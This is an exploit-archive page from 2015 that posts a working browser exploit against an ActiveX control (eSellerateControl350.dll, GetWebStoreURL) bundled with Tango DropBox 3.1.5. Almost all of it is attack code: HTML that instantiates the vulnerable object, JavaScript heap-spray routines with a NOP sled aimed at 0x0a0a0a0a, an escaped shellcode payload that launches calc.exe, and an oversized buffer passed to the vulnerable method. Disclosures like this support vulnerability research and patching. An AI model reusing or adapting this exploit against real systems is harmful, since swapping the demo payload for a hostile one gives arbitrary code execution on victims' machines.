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Tango DropBox 3.1.5 Active-X Heap Spray

Tango DropBox 3.1.5 Active-X Heap Spray
Posted Jun 19, 2015
Authored by metacom

Tango DropBox active-x heap spray exploit that leverages a vulnerability in the COM component used eSellerateControl350.dll (3.6.5.0) method of the GetWebStoreURL member. Affects versions 3.1.5 and PRO.

tags | exploit, activex
MD5 | 49f9337a83c7ed744b2fbc9dc80f97e5

Tango DropBox 3.1.5 Active-X Heap Spray

Change Mirror Download
<HTML>
<BODY>
<input language=JavaScript onclick=Tryme() type=button value="Launch Calc">
<object id=boom classid="clsid:{C915F573-4C11-4968-9080-29E611FDBE9F}"></object>
<br>Tango DropBox Activex Heap Spray Exploit</br>
<br>Version:3.1.5 + PRO</br>
<br>The vulnerability lies in the COM component used eSellerateControl350.dll (3.6.5.0) method of the ''GetWebStoreURL' member.</br>
<br>Vendor Homepage:http://etonica.com/dropbox/index.html</br>
<br>Software Link:http://etonica.com/dropbox/download.html</br>
<br>Author: metacom</br>
<!--Video Poc:http://bit.ly/1K0hnYS -->
<SCRIPT>

var heapspray=unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");

var sprayContainer = unescape("%u9090%u9090");
var heapToAddress = 0x0a0a0a0a;


function Tryme()
{
var size_buff = 5000;
var x = unescape("%0a%0a%0a%0a");
while (x.length<size_buff) x += x;
x = x.substring(0,size_buff);

boom.GetWebStoreURL(x, 1);
}


function getsprayContainer(sprayContainer, sprayContainerSize)
{
while (sprayContainer.length*2<sprayContainerSize)
{
sprayContainer += sprayContainer;
}
sprayContainer = sprayContainer.substring(0,sprayContainerSize/2);
return (sprayContainer);
}

var heapBlockSize = 0x500000;
var SizeOfHeap = 0x30;
var payLoadSize = (heapspray.length * 2);

var sprayContainerSize = heapBlockSize - (payLoadSize + SizeOfHeap);
var heapBlocks = (heapToAddress+heapBlockSize)/heapBlockSize;

var memory = new Array();
sprayContainer = getsprayContainer(sprayContainer,sprayContainerSize);

for (i=0;i<heapBlocks;i++)
{
memory[i] = sprayContainer + heapspray;
}

</SCRIPT>
</BODY>
</HTML>

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